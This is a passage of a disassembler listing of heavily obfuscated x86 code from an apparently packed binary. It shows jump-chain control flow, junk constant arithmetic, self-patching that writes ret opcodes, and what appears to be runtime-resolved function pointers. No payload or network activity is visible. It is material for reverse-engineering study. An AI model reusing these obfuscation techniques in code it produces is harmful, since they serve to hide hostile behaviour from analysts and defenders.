; END OF FUNCTION CHUNK	FOR sub_441DA7

; =============== S U B	R O U T	I N E =======================================



sub_43A5AA	proc near		; DATA XREF: sub_449F1B+Co

; FUNCTION CHUNK AT 0043D75A SIZE 00000005 BYTES

		add	edi, 0C8994B23h
		mov	[edi], eax
		pop	edi
		lea	eax, nullsub_322
		mov	byte ptr [eax],	0C3h
		jmp	loc_43D75A
sub_43A5AA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439932

loc_43A5C1:				; CODE XREF: sub_439932+Ej
		or	ecx, ecx
		jz	loc_438FCA
		call	sub_4485B6
		jnz	loc_438FCA
		mov	eax, ebx
		jmp	loc_438FCC
; END OF FUNCTION CHUNK	FOR sub_439932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A8FD

loc_43A5DB:				; CODE XREF: sub_44A8FD+4j
		push	offset loc_439FFC
		jmp	nullsub_307
; END OF FUNCTION CHUNK	FOR sub_44A8FD
; ---------------------------------------------------------------------------

loc_43A5E5:				; CODE XREF: y22d6.y.:0044CEFCj
		jnz	loc_4383DA
		and	edx, eax
		js	loc_4499EE
		cmp	edx, esi
		jmp	loc_43BE3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44364E

loc_43A5FA:				; CODE XREF: sub_44364E+16j
		and	edx, 220F3818h
		test	edx, 10000h
		jmp	loc_44C069
; END OF FUNCTION CHUNK	FOR sub_44364E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43A60B:				; CODE XREF: sub_448EB6-28Cj
		not	esi
		mov	edi, [edx]
		and	edx, eax
		jmp	loc_44722C
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E48C

loc_43A616:				; CODE XREF: sub_43E48C+Aj
		call	sub_43BE66
		push	165F15ACh
		xchg	ecx, [esp+4+var_4]
		mov	eax, ecx
		pop	ecx
		rol	eax, 14h
		xor	eax, 0CEB1C35Dh
		or	eax, 1A9C660Eh
		jmp	loc_449AF2
; END OF FUNCTION CHUNK	FOR sub_43E48C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_129. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		call	sub_439C3E
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_43A640:				; CODE XREF: sub_44AEDA:loc_43CE99j
		mov	ebx, eax
		call	sub_43E77C

loc_43A647:				; CODE XREF: sub_44997F+25F7j
		jmp	nullsub_164
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4428C2

loc_43A64C:				; CODE XREF: sub_4428C2-7760j
		jmp	loc_449BDE
; END OF FUNCTION CHUNK	FOR sub_4428C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_43A651:				; CODE XREF: sub_44633F-87F5j
		add	edi, 7593D1B1h

loc_43A657:				; CODE XREF: sub_44633F:loc_44BD7Fj
		xor	eax, 0CDE8B035h
		call	sub_43F7FF
		mov	ds:off_41E014, eax
		jmp	loc_4385C1
; END OF FUNCTION CHUNK	FOR sub_44633F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_200. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43A66E:				; CODE XREF: y22d6.y.:004470D7j
		jmp	loc_440DB5
; ---------------------------------------------------------------------------

loc_43A673:				; CODE XREF: y22d6.y.:00444F01j
		jmp	loc_447CE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B878

loc_43A678:				; CODE XREF: sub_43B878+11j
		jmp	loc_443F38
; END OF FUNCTION CHUNK	FOR sub_43B878
; ---------------------------------------------------------------------------

loc_43A67D:				; CODE XREF: y22d6.y.:004372B7j
		and	edi, 0D0C5765Ch
		test	edi, 80000000h
		jmp	loc_4405A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44156E

loc_43A68E:				; CODE XREF: sub_44156E+BCB7j
		and	ecx, 1F64C8DFh
		or	ecx, 0D7C06D66h
		rol	ecx, 19h
		add	ecx, 2854658h
		jmp	loc_44B6A7
; END OF FUNCTION CHUNK	FOR sub_44156E
; ---------------------------------------------------------------------------
		adc	edx, 9C73F6ABh
		jmp	sub_43E31B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449ECF

loc_43A6B3:				; CODE XREF: sub_449ECF:loc_44B4CBj
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_12
; END OF FUNCTION CHUNK	FOR sub_449ECF
; ---------------------------------------------------------------------------
		call	sub_44500E

loc_43A6C0:				; CODE XREF: y22d6.y.:00439E27j
		jnz	loc_44B732
		jmp	loc_43D887
; ---------------------------------------------------------------------------

loc_43A6CB:				; CODE XREF: y22d6.y.:loc_446FDFj
		jb	loc_44E590
		jmp	loc_44C808
; ---------------------------------------------------------------------------

locret_43A6D6:				; CODE XREF: y22d6.y.:loc_43D15Aj
		retn
; ---------------------------------------------------------------------------
		db 3Ah
dword_43A6D8	dd 1EB3EEA3h		; DATA XREF: sub_43E5C2:loc_438D8Cr
					; sub_43E5C2:loc_4414D8r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43872E

loc_43A6DC:				; CODE XREF: sub_43872E+219Dj
		jmp	loc_4371EE
; END OF FUNCTION CHUNK	FOR sub_43872E

; =============== S U B	R O U T	I N E =======================================



sub_43A6E1	proc near		; CODE XREF: .text:loc_40E0DFp
					; DATA XREF: r69pu5ti:off_41E190o

; FUNCTION CHUNK AT 00437AA1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043AC52 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043ACB5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043B0E3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043BA03 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043BE8A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C255 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DEF1 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043FA2A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004408EA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004426C4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442D4A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442FD2 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004430DE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00445426 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00446DB1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449460 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004497CE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044A4AA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044B109 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044C6FE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D58E SIZE 00000015 BYTES

		jo	loc_437AA1
		mov	eax, ds:dword_442554
		jmp	loc_43BA03
sub_43A6E1	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_284. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_43A6F3:				; CODE XREF: sub_43B09B+EEB6j
		jmp	loc_43E259
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446417

loc_43A6F8:				; CODE XREF: sub_446417+9j
		jmp	sub_4483BF
; END OF FUNCTION CHUNK	FOR sub_446417
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44066C

loc_43A6FD:				; CODE XREF: sub_44066C+6j
		jmp	loc_444939
; END OF FUNCTION CHUNK	FOR sub_44066C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_43A702:				; CODE XREF: sub_4450FD+1D61j
		sbb	ebp, 428E5936h
		xchg	edi, [ebx]
		sub	esi, eax
		jmp	loc_44591F
; END OF FUNCTION CHUNK	FOR sub_4450FD
; ---------------------------------------------------------------------------

locret_43A711:				; CODE XREF: y22d6.y.:0043FC82j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43910C

loc_43A712:				; CODE XREF: sub_43910C+F7FBj
		jmp	nullsub_202
; END OF FUNCTION CHUNK	FOR sub_43910C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3DD

loc_43A717:				; CODE XREF: sub_43C3DD+7C20j
		jmp	nullsub_6
; END OF FUNCTION CHUNK	FOR sub_43C3DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_43A71C:				; CODE XREF: sub_44057E:loc_43F731j
		jmp	loc_44466F
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E14E

loc_43A721:				; CODE XREF: sub_44E14E-1343Aj
		jmp	loc_44D8E1
; END OF FUNCTION CHUNK	FOR sub_44E14E
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	sub_440D9E
; ---------------------------------------------------------------------------
		test	esi, ebp
		jmp	loc_43FDAF
; ---------------------------------------------------------------------------

loc_43A733:				; CODE XREF: y22d6.y.:0044BEBDj
		mov	[esi], edi

; =============== S U B	R O U T	I N E =======================================



sub_43A735	proc near		; CODE XREF: sub_44BCC2-9F3Fp

; FUNCTION CHUNK AT 00438D59 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D2A5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044AD27 SIZE 00000017 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	0
		push	7CF3A38Eh
		pop	eax
		rol	eax, 5
		jmp	loc_438D59
sub_43A735	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_43A749:				; CODE XREF: sub_44B1D2-10F1Cj
		test	ebx, 21CB097Dh
		jmp	loc_43B8F8
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
		push	6C21D1E6h
		pop	eax
		sub	eax, 0E8E4928Dh
		add	eax, 8E34B6F7h
		push	offset sub_437B10
		jmp	loc_449072
; ---------------------------------------------------------------------------

loc_43A770:				; CODE XREF: y22d6.y.:00448620j
		and	edi, 0A6D86B84h
		add	edi, 7BEBE72Ah
		xchg	edi, [esp]
		jmp	loc_43AA1A
; ---------------------------------------------------------------------------
		js	loc_43FB68
		jmp	sub_437712
; ---------------------------------------------------------------------------

loc_43A78F:				; CODE XREF: y22d6.y.:00446F4Ej
		jns	loc_439D37

; =============== S U B	R O U T	I N E =======================================



sub_43A795	proc near		; CODE XREF: y22d6.y.:00437624p
		xchg	eax, [esp+0]
		pop	eax
		call	nullsub_313
		jmp	ds:dword_41E0D8
sub_43A795	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_313. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		or	esi, 87000042h
		or	al, 24h
		push	ecx
		jmp	loc_441C4D
; ---------------------------------------------------------------------------
		mov	[edx], ecx
		mov	ecx, [edi]
		jmp	sub_437B43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_43A7BC:				; CODE XREF: sub_44057E:loc_43DCECj
		sub	eax, 0AEE49C2Eh
		rol	edx, 3

loc_43A7C5:				; CODE XREF: y22d6.y.:0043DCDAj
		xor	eax, 162221BAh
		call	sub_43CA1A
		mov	ds:off_41E074, eax
		push	offset loc_43DC3B
		jmp	loc_442C87
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------

loc_43A7E0:				; CODE XREF: y22d6.y.:loc_4459B9j
		jz	loc_447EBA
		jmp	loc_44B6BF
; ---------------------------------------------------------------------------
		mov	eax, 9E471775h
		call	sub_43CA1A
		push	offset loc_43B8AD
		jmp	locret_440B35
; ---------------------------------------------------------------------------

loc_43A7FF:				; CODE XREF: y22d6.y.:loc_44B27Aj
		mov	[ecx], eax
		pop	ecx
		push	offset sub_44617A
		jmp	loc_44A9A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F5A

loc_43A80C:				; CODE XREF: sub_439F5A:loc_43ADC8j
		push	offset sub_4410E0
		jmp	loc_444CC4
; END OF FUNCTION CHUNK	FOR sub_439F5A
; ---------------------------------------------------------------------------

loc_43A816:				; CODE XREF: y22d6.y.:0044A00Aj
		and	edi, ebx
		and	esi, ecx
		test	edx, ebx
		jmp	loc_441251
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_329. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		test	edi, ecx
		jmp	loc_43D53D
; ---------------------------------------------------------------------------
		mov	eax, 4CF1C9EDh
		call	sub_43CA1A
		push	offset sub_4446B8
		jmp	loc_4451C2
; ---------------------------------------------------------------------------

loc_43A83D:				; CODE XREF: y22d6.y.:00439FF7j
					; y22d6.y.:loc_445156j
		push	eax
		lea	eax, dword_44D0DC
		push	esi
		mov	esi, eax
		xchg	esi, [esp]
		jmp	loc_4403CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3D7

loc_43A84F:				; CODE XREF: sub_43C3D7:loc_440B23j
		call	sub_442E1F
; END OF FUNCTION CHUNK	FOR sub_43C3D7
; START	OF FUNCTION CHUNK FOR sub_446222

loc_43A854:				; CODE XREF: sub_446222+6C30j
		jmp	sub_4483BF
; END OF FUNCTION CHUNK	FOR sub_446222
; ---------------------------------------------------------------------------

loc_43A859:				; CODE XREF: y22d6.y.:0043D926j
		jmp	loc_438E98
; ---------------------------------------------------------------------------

loc_43A85E:				; CODE XREF: y22d6.y.:0043D0B0j
		jmp	locret_43B538
; ---------------------------------------------------------------------------

loc_43A863:				; CODE XREF: y22d6.y.:0043980Ej
		jmp	loc_44D900
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C1E2

loc_43A868:				; CODE XREF: sub_44C1E2-A440j
		call	nullsub_2
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_44C1E2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		call	sub_445C50

loc_43A877:				; CODE XREF: y22d6.y.:00441284j
		jmp	loc_448DB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D025

loc_43A87C:				; CODE XREF: sub_43D025-2F76j
		mov	edx, [ebp+8]
		or	[edx-8], eax
; END OF FUNCTION CHUNK	FOR sub_43D025
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_43A882:				; CODE XREF: sub_43D025-4E15j
					; sub_43B98D+8j ...
		js	loc_4481CB
		cmp	dword ptr [ebp-14h], 4
		jnz	loc_444D67
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 4
		jmp	loc_43BF51
; END OF FUNCTION CHUNK	FOR sub_43B98D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E0A9

loc_43A89E:				; CODE XREF: sub_43E0A9+Bj
		pop	eax
		push	offset loc_44865C
		jmp	loc_439356
; END OF FUNCTION CHUNK	FOR sub_43E0A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_43A8A9:				; CODE XREF: sub_440280+5E99j
		cmp	edi, edx
		jmp	loc_4479A0
; END OF FUNCTION CHUNK	FOR sub_440280

; =============== S U B	R O U T	I N E =======================================



sub_43A8B0	proc near		; CODE XREF: sub_43872E-182p
					; y22d6.y.:0044B246j

; FUNCTION CHUNK AT 0044A127 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx

loc_43A8B4:				; CODE XREF: sub_441F08+9044j
		mov	ds:off_41E208, eax
		lea	eax, loc_443878
		mov	byte ptr [eax],	0C3h
		jmp	loc_44A127
sub_43A8B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43872E

loc_43A8C8:				; CODE XREF: sub_43872E+B14Bj
		mov	eax, [esp+0]
		jmp	loc_43A6DC
; END OF FUNCTION CHUNK	FOR sub_43872E
; ---------------------------------------------------------------------------
		or	edi, 83B64EA1h
		jmp	sub_44D063
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_441C69
		push	2A4862B1h
		jmp	loc_43D2BE

; =============== S U B	R O U T	I N E =======================================



sub_43A8EF	proc near		; CODE XREF: y22d6.y.:004497C9j
					; y22d6.y.:0044BB4Bp
		xchg	edx, [esp+0]
sub_43A8EF	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43BEF7

loc_43A8F2:				; CODE XREF: sub_43BEF7:loc_43BF27j
		pop	edx
		push	edi
		mov	edi, edx
		xchg	edi, [esp+0]
		call	sub_438F17
		push	999739F7h
		jmp	loc_43F585
; END OF FUNCTION CHUNK	FOR sub_43BEF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBBA

loc_43A908:				; CODE XREF: sub_44BBBA-C16Dj
		push	0EE8E5C9Fh
		pop	edx
		and	edx, 0A12C6BC2h
		add	edx, 807B92A1h
		jmp	loc_445DA7
; END OF FUNCTION CHUNK	FOR sub_44BBBA
; ---------------------------------------------------------------------------

loc_43A91F:				; DATA XREF: sub_43C1F5+Ao
		add	edx, ebp
		add	edx, 0BACD15F0h
		mov	edx, [edx]
		cmp	eax, [edx+18h]
		jnb	loc_44506C
		jmp	loc_446FDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB4F

loc_43A937:				; CODE XREF: sub_44DB4F:loc_441C99j
		lea	eax, sub_43DA98
		mov	byte ptr [eax],	0C3h
		jmp	sub_43DA98
; END OF FUNCTION CHUNK	FOR sub_44DB4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416F3

loc_43A945:				; CODE XREF: sub_4416F3:loc_44B36Bj
		push	ecx
		push	0B8C2140Bh
		xchg	edi, [esp+0]
		jmp	loc_441D27
; END OF FUNCTION CHUNK	FOR sub_4416F3
; ---------------------------------------------------------------------------
		mov	edx, esi
		jmp	loc_447890
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B01

loc_43A95A:				; CODE XREF: sub_437B01:loc_437ACCj
		ja	nullsub_281
		adc	eax, 1DFF3FCBh
		jmp	loc_4397D9
; END OF FUNCTION CHUNK	FOR sub_437B01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416CB

loc_43A96B:				; CODE XREF: sub_4416CB+1j
		jz	loc_4492E9
		mov	eax, [esp-4+arg_0]
		push	edi
		mov	edi, edx
		xchg	edi, [esp+0]
		push	esi
		push	5AC41142h
		jmp	loc_444031
; END OF FUNCTION CHUNK	FOR sub_4416CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_43A985:				; CODE XREF: sub_44E5C7:loc_44207Bj
		shl	ebp, 10h
		jmp	loc_44A06B
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D5BB

loc_43A98D:				; CODE XREF: sub_43D5BB:loc_43C415j
		push	8B41E8E3h
		pop	ebx
		add	ebx, 47F27880h

loc_43A999:				; CODE XREF: y22d6.y.:00448CA3j
		rol	ebx, 0Dh
		cmp	ebx, 3221FE3h
		jmp	loc_44D898
; END OF FUNCTION CHUNK	FOR sub_43D5BB
; ---------------------------------------------------------------------------

loc_43A9A7:				; CODE XREF: y22d6.y.:0044CA02j
		mov	ds:off_41E184, eax
		lea	eax, sub_44C59C
		mov	byte ptr [eax],	0C3h
		jmp	loc_4396F1

; =============== S U B	R O U T	I N E =======================================



sub_43A9BB	proc near		; CODE XREF: sub_40E1BC+40p
					; sub_41935A+222p ...
		call	sub_43A9C6
		jmp	ds:off_41E188
sub_43A9BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_43A9C6	proc near		; CODE XREF: sub_43910C-423j
					; sub_43A9BBp ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004376FD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043DDBB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043DEDD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043E841 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0043E9A1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004409A5 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00441EBE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044A49E SIZE 00000005 BYTES

		pop	edx
		jno	loc_43E841
		jmp	loc_43DEDD
sub_43A9C6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_43A9D2:				; CODE XREF: sub_43B98D+1967j
		xor	ecx, esi
		xor	edi, 67DE5BA1h
		mov	[eax], ebx
		cmp	edi, ebx
		jmp	loc_445B37
; END OF FUNCTION CHUNK	FOR sub_43B98D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43A9E3:				; CODE XREF: sub_4432B8-476Bj
		jg	loc_43B547
		shr	ebp, 0Bh
		jmp	loc_44272A
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CB3F

loc_43A9F1:				; CODE XREF: sub_44CB3F:loc_441AE2j
		mov	eax, [ebp-20h]
; END OF FUNCTION CHUNK	FOR sub_44CB3F
; START	OF FUNCTION CHUNK FOR sub_4481EF

loc_43A9F4:				; CODE XREF: sub_4481EF:loc_44B062j
		push	offset loc_44960E
		jmp	loc_449EE2
; END OF FUNCTION CHUNK	FOR sub_4481EF

; =============== S U B	R O U T	I N E =======================================



sub_43A9FE	proc near		; DATA XREF: sub_44D130+6o
		lea	eax, nullsub_351
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_351
sub_43A9FE	endp

; ---------------------------------------------------------------------------

loc_43AA0C:				; CODE XREF: y22d6.y.:0043BEDEj
		mov	eax, [esp]
		push	edx
		call	sub_442C0C
		call	sub_44C194

loc_43AA1A:				; CODE XREF: y22d6.y.:0043A77Fj
		jmp	sub_43EF0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_43AA1F:				; CODE XREF: sub_44BCC2:loc_4396CFj
		add	edx, ebp
		add	edx, 84602067h

loc_43AA27:				; CODE XREF: sub_449C1B+4882j
		mov	edx, [edx]
		mov	dl, [edx]
		jmp	loc_43B3A1
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
		shr	esi, 1Bh
		jmp	sub_43A4E4
; ---------------------------------------------------------------------------

loc_43AA38:				; CODE XREF: y22d6.y.:loc_443792j
		sub	ecx, 0B65BDA92h
		xor	ecx, 3607B89Dh
		add	ecx, 20420693h
		or	ecx, 4C525DFBh
		jnz	loc_44874F
		sbb	ecx, edx
		jmp	loc_443747
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E5C2

loc_43AA5D:				; CODE XREF: sub_43E5C2-5828j
		jz	loc_44A6F0
		jmp	loc_441A4A
; END OF FUNCTION CHUNK	FOR sub_43E5C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F3AD

loc_43AA68:				; CODE XREF: sub_43F3AD-3234j
		jnz	loc_44822F

loc_43AA6E:				; CODE XREF: sub_4418AD+Dj
		jmp	sub_4480DE
; END OF FUNCTION CHUNK	FOR sub_43F3AD
; ---------------------------------------------------------------------------

loc_43AA73:				; CODE XREF: y22d6.y.:00440CABj
		jmp	loc_442D95
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_44822B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A095

loc_43AA7E:				; CODE XREF: sub_44A095-2A70j
		mov	[edi], eax
		pop	edi
		jmp	loc_43C721
; END OF FUNCTION CHUNK	FOR sub_44A095
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBBA

loc_43AA86:				; CODE XREF: sub_44BBBA:loc_44AB17j
		lea	eax, [ebp-12Dh]
		push	eax
		push	eax
		push	1DC19FD5h
		jmp	loc_44B9E8
; END OF FUNCTION CHUNK	FOR sub_44BBBA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_283. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43AA99:				; CODE XREF: y22d6.y.:0043A0EFj
		jmp	loc_44A432
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F5A

loc_43AA9E:				; CODE XREF: sub_439F5A:loc_4380C3j
		add	edx, ecx
		pop	ecx
		add	eax, edx
		mov	eax, [eax]
		push	ebx
		push	0FE861CECh
		jmp	loc_440FA3
; END OF FUNCTION CHUNK	FOR sub_439F5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_43AAB0:				; CODE XREF: sub_44B489-93B7j
		mov	eax, ebx
		or	ebx, edi
		jmp	loc_43DE35
; END OF FUNCTION CHUNK	FOR sub_44B489
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4384B4

loc_43AAB9:				; CODE XREF: sub_4384B4:loc_44A10Fj
		jge	loc_443563
		shr	eax, 18h
		jmp	loc_443561
; END OF FUNCTION CHUNK	FOR sub_4384B4
; ---------------------------------------------------------------------------
		cmp	esi, 2E153176h
		jmp	loc_4433E9
; ---------------------------------------------------------------------------
		or	eax, eax

loc_43AAD4:				; CODE XREF: y22d6.y.:loc_43FA2Fj
		jnz	loc_4417E7
		jmp	loc_4383B5
; ---------------------------------------------------------------------------

loc_43AADF:				; DATA XREF: sub_44271A-A847o
		jnz	loc_44AAF4
		call	sub_449BBC

loc_43AAEA:				; CODE XREF: y22d6.y.:00439679j
		sbb	edx, eax
		rol	ebx, 0Bh
		popf
		and	ebx, eax

loc_43AAF2:				; CODE XREF: y22d6.y.:loc_43C742j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44205D
		jmp	loc_43D087
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E037

loc_43AB03:				; CODE XREF: sub_43E037:loc_44D25Dj
		sub	al, 99h
		push	371373AAh
		pop	edx
		rol	edx, 8
		add	edx, 656D3462h
		add	edx, ebp
		add	edx, 871F2163h
		mov	edx, [edx]
		jmp	loc_43904C
; END OF FUNCTION CHUNK	FOR sub_43E037
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EFB1

loc_43AB23:				; CODE XREF: sub_43EFB1+1F91j
		dec	dword ptr [ebp-1Ch]
		jnz	loc_43DA85
		jmp	loc_43BF5B
; END OF FUNCTION CHUNK	FOR sub_43EFB1

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AB31	proc near		; CODE XREF: sub_4385ED+4p
					; sub_43BEF7:loc_439F47p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004375FF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004435CC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444FA9 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 004452FC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044B844 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]

loc_43AB3D:				; CODE XREF: sub_43C7C1:loc_438706j
		mov	[ebp+var_C], eax
		jmp	loc_4452FC
sub_43AB31	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43837F

loc_43AB45:				; CODE XREF: sub_43837F:loc_43D011j
		cmp	dword ptr [ebp-1Ch], 66h
		jnz	loc_440105
		mov	eax, 6
		sub	eax, [ebp-0Ch]
		mov	[ebp-0Ch], eax

loc_43AB5A:				; CODE XREF: sub_43837F+15j
					; sub_43837F:loc_438F50j ...
		mov	eax, [ebp-20h]
		movzx	eax, byte ptr [eax]
		jmp	loc_44AEEB
; END OF FUNCTION CHUNK	FOR sub_43837F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437FD8

loc_43AB65:				; CODE XREF: sub_437FD8+A3D1j
		jz	loc_44DA1E

loc_43AB6B:				; CODE XREF: sub_448A59-137j
		jmp	loc_447274
; END OF FUNCTION CHUNK	FOR sub_437FD8
; ---------------------------------------------------------------------------
		pop	edx
		test	edi, 0CA6638CDh
		jmp	loc_4486E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_43AB7C:				; CODE XREF: sub_43D20E:loc_44228Cj
		mov	eax, [eax+64h]
		add	eax, [ebp-14h]
		cmp	eax, [ebp-0Ch]
		ja	loc_437BDF

loc_43AB8B:				; CODE XREF: sub_43D20E+B925j
		call	sub_441C04
; END OF FUNCTION CHUNK	FOR sub_43D20E
; START	OF FUNCTION CHUNK FOR sub_4410E0

